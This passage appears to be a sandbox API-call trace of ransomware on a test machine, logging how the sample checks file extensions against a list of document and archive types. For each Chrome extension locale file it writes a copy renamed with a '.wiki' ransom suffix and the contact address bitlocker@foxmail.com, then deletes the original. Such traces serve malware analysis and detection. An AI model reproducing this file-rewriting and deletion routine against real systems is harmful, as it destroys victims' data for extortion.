Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.760] lstrlenW (lpString=".dbf") returned 4 [0173.760] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.760] lstrlenW (lpString=".1cd") returned 4 [0173.760] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.760] lstrlenW (lpString=".jpg") returned 4 [0173.760] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.760] lstrlenW (lpString=".doc") returned 4 [0173.760] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.760] lstrlenW (lpString=".docx") returned 5 [0173.760] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.760] lstrlenW (lpString=".pdf") returned 4 [0173.760] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.760] lstrlenW (lpString=".xls") returned 4 [0173.760] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.760] lstrlenW (lpString=".xlsx") returned 5 [0173.761] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.761] lstrlenW (lpString=".ppt") returned 4 [0173.761] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.761] lstrlenW (lpString=".zip") returned 4 [0173.761] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.761] lstrlenW (lpString=".rar") returned 4 [0173.761] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.761] lstrlenW (lpString=".bz2") returned 4 [0173.761] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.761] lstrlenW (lpString=".7z") returned 3 [0173.761] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.761] lstrlenW (lpString=".dbf") returned 4 [0173.761] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.761] lstrlenW (lpString=".1cd") returned 4 [0173.761] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.761] lstrlenW (lpString=".jpg") returned 4 [0173.761] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.761] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.761] lstrlenW (lpString="messages.json") returned 13 [0173.761] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.762] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=252) returned 1 [0173.762] CloseHandle (hObject=0x320) returned 1 [0173.762] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json")) returned 0x2020 [0173.762] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.762] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.762] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.763] GetLastError () returned 0x0 [0173.763] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xfc, lpOverlapped=0x0) returned 1 [0173.764] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.765] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.765] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.765] SetEndOfFile (hFile=0x198) returned 1 [0173.765] CloseHandle (hObject=0x198) returned 1 [0173.765] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.765] SetEndOfFile (hFile=0x320) returned 1 [0173.766] CloseHandle (hObject=0x320) returned 1 [0173.766] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.766] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json")) returned 1 [0173.766] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.766] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.766] lstrlenW (lpString=".doc") returned 4 [0173.766] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.766] lstrlenW (lpString=".docx") returned 5 [0173.766] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.766] lstrlenW (lpString=".pdf") returned 4 [0173.766] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.766] lstrlenW (lpString=".xls") returned 4 [0173.767] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.767] lstrlenW (lpString=".xlsx") returned 5 [0173.767] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.767] lstrlenW (lpString=".ppt") returned 4 [0173.767] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.767] lstrlenW (lpString=".zip") returned 4 [0173.767] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.767] lstrlenW (lpString=".rar") returned 4 [0173.767] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.767] lstrlenW (lpString=".bz2") returned 4 [0173.767] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.767] lstrlenW (lpString=".7z") returned 3 [0173.767] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.767] lstrlenW (lpString=".dbf") returned 4 [0173.767] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.767] lstrlenW (lpString=".1cd") returned 4 [0173.767] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.767] lstrlenW (lpString=".jpg") returned 4 [0173.767] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.767] lstrlenW (lpString=".doc") returned 4 [0173.767] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.767] lstrlenW (lpString=".docx") returned 5 [0173.768] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.768] lstrlenW (lpString=".pdf") returned 4 [0173.768] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.768] lstrlenW (lpString=".xls") returned 4 [0173.768] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.768] lstrlenW (lpString=".xlsx") returned 5 [0173.768] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.768] lstrlenW (lpString=".ppt") returned 4 [0173.768] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.768] lstrlenW (lpString=".zip") returned 4 [0173.768] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.768] lstrlenW (lpString=".rar") returned 4 [0173.768] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.768] lstrlenW (lpString=".bz2") returned 4 [0173.768] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.768] lstrlenW (lpString=".7z") returned 3 [0173.768] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.768] lstrlenW (lpString=".dbf") returned 4 [0173.768] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.768] lstrlenW (lpString=".1cd") returned 4 [0173.768] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 152 [0173.768] lstrlenW (lpString=".jpg") returned 4 [0173.768] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.769] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.769] lstrlenW (lpString="messages.json") returned 13 [0173.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.769] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=278) returned 1 [0173.769] CloseHandle (hObject=0x320) returned 1 [0173.769] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json")) returned 0x2020 [0173.769] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.769] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.770] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.770] GetLastError () returned 0x0 [0173.770] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x116, lpOverlapped=0x0) returned 1 [0173.771] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x120, lpOverlapped=0x0) returned 1 [0173.772] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.772] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.772] SetEndOfFile (hFile=0x198) returned 1 [0173.772] CloseHandle (hObject=0x198) returned 1 [0173.772] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.772] SetEndOfFile (hFile=0x320) returned 1 [0173.773] CloseHandle (hObject=0x320) returned 1 [0173.773] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.773] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json")) returned 1 [0173.774] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.774] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.774] lstrlenW (lpString=".doc") returned 4 [0173.774] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.774] lstrlenW (lpString=".docx") returned 5 [0173.774] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.774] lstrlenW (lpString=".pdf") returned 4 [0173.774] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.774] lstrlenW (lpString=".xls") returned 4 [0173.774] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.774] lstrlenW (lpString=".xlsx") returned 5 [0173.774] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.774] lstrlenW (lpString=".ppt") returned 4 [0173.774] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.774] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.774] lstrlenW (lpString=".zip") returned 4 [0173.774] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.774] lstrlenW (lpString=".rar") returned 4 [0173.774] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.774] lstrlenW (lpString=".bz2") returned 4 [0173.774] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.774] lstrlenW (lpString=".7z") returned 3 [0173.774] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.774] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.774] lstrlenW (lpString=".dbf") returned 4 [0173.775] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.775] lstrlenW (lpString=".1cd") returned 4 [0173.775] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.775] lstrlenW (lpString=".jpg") returned 4 [0173.775] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.775] lstrlenW (lpString=".doc") returned 4 [0173.775] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.775] lstrlenW (lpString=".docx") returned 5 [0173.775] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.775] lstrlenW (lpString=".pdf") returned 4 [0173.775] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.775] lstrlenW (lpString=".xls") returned 4 [0173.775] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.775] lstrlenW (lpString=".xlsx") returned 5 [0173.775] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.775] lstrlenW (lpString=".ppt") returned 4 [0173.775] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.775] lstrlenW (lpString=".zip") returned 4 [0173.775] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.775] lstrlenW (lpString=".rar") returned 4 [0173.775] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.775] lstrlenW (lpString=".bz2") returned 4 [0173.776] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.776] lstrlenW (lpString=".7z") returned 3 [0173.776] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.776] lstrlenW (lpString=".dbf") returned 4 [0173.776] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.776] lstrlenW (lpString=".1cd") returned 4 [0173.776] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 152 [0173.776] lstrlenW (lpString=".jpg") returned 4 [0173.776] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.776] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.776] lstrlenW (lpString="messages.json") returned 13 [0173.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), 